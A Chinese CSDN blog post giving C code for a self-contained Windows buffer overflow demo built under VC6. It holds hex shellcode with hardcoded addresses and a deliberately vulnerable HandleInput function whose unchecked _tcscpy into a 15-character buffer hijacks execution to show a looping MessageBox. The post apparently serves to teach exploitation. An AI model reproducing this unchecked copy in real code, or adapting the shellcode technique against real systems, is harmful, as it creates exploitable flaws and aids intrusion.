改了一版，VC6下可以跑了

最新推荐文章于 2023-10-29 21:06:37 发布

张某人的胡思乱想

最新推荐文章于 2023-10-29 21:06:37 发布

阅读量134

点赞数

分类专栏： C++ 杂谈

本文链接：https://blog.csdn.net/hb_zxl/article/details/115652903

版权

C++ 同时被 2 个专栏收录

25 篇文章 0 订阅

订阅专栏

杂谈

23 篇文章 1 订阅

订阅专栏

这篇博客展示了Windows环境下的一种缓冲区溢出攻击技术。通过定义UNICODE并包含特定的十六进制字符串，代码在foo函数中使用汇编实现了一个无限循环的对话框，并在HandleInput函数中处理输入，可能导致安全问题。示例中的WinMain函数调用了HandleInput，执行可能的溢出操作。

摘要由CSDN通过智能技术生成

#if !defined(UNICODE)
#define UNICODE
#endif

#if !defined(_UNICODE)
#define _UNICODE
#endif

#include <tchar.h>
#include <windows.h>

#ifdef _DEBUG
char SZ_INPUT[]="\x6a\x01\x33\xc0"
   "\x50\x50\x50\xff"
   "\x15\xa4\x52\x42"
   "\x00\x48\x85\xc0"
   "\x74\xee\xf2\x90"
   "\xeb\xfc\x32\x31"
   "\x31\x31\x31\x31"
   "\x31\x31\x31\x31"
   "\x31\x31\x31\x31"
   "\x30\x2a\x42\x00"
   "\x00";
#else
char SZ_INPUT[]="\x6a\x01\x33\xc0"
   "\x50\x50\x50\xff"
   "\x15\xa4\x60\x40"
   "\x00\x48\x85\xc0"
   "\x74\xee\xf2\x90"
   "\xeb\xfc\x32\x31"
   "\x31\x31\x31\x31"
   "\x31\x31\x31\x31"
   "\x31\x31\x31\x31"
   "\x30\x70\x40\x00"
   "\x00";
#endif // _DEBUG

void foo()
{
   _asm{
TAG_LOOP:
       push MB_OKCANCEL
       xor eax, eax
       push eax
       push eax
       push eax
       call MessageBoxW
       dec eax
       test eax, eax
       nop
       jz TAG_LOOP
TAG_HALT:
       pause
       jmp TAG_HALT
   }
}

void HandleInput(LPCTSTR lpszInput)
{
   TCHAR szBuffer[15];
   _tcscpy(szBuffer, lpszInput);
   OutputDebugString(szBuffer);

   if(_tcslen(szBuffer))
   {
       int n[10000];
       n[0] = 1;
   }
}

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE, char* lpCmdLine, int nCmdShow){
MessageBox(NULL, _T("A sampel of demo buffer overflow attack."),_T("AdvDBG"),MB_OK);

HandleInput((LPCTSTR)SZ_INPUT);

return 0;
}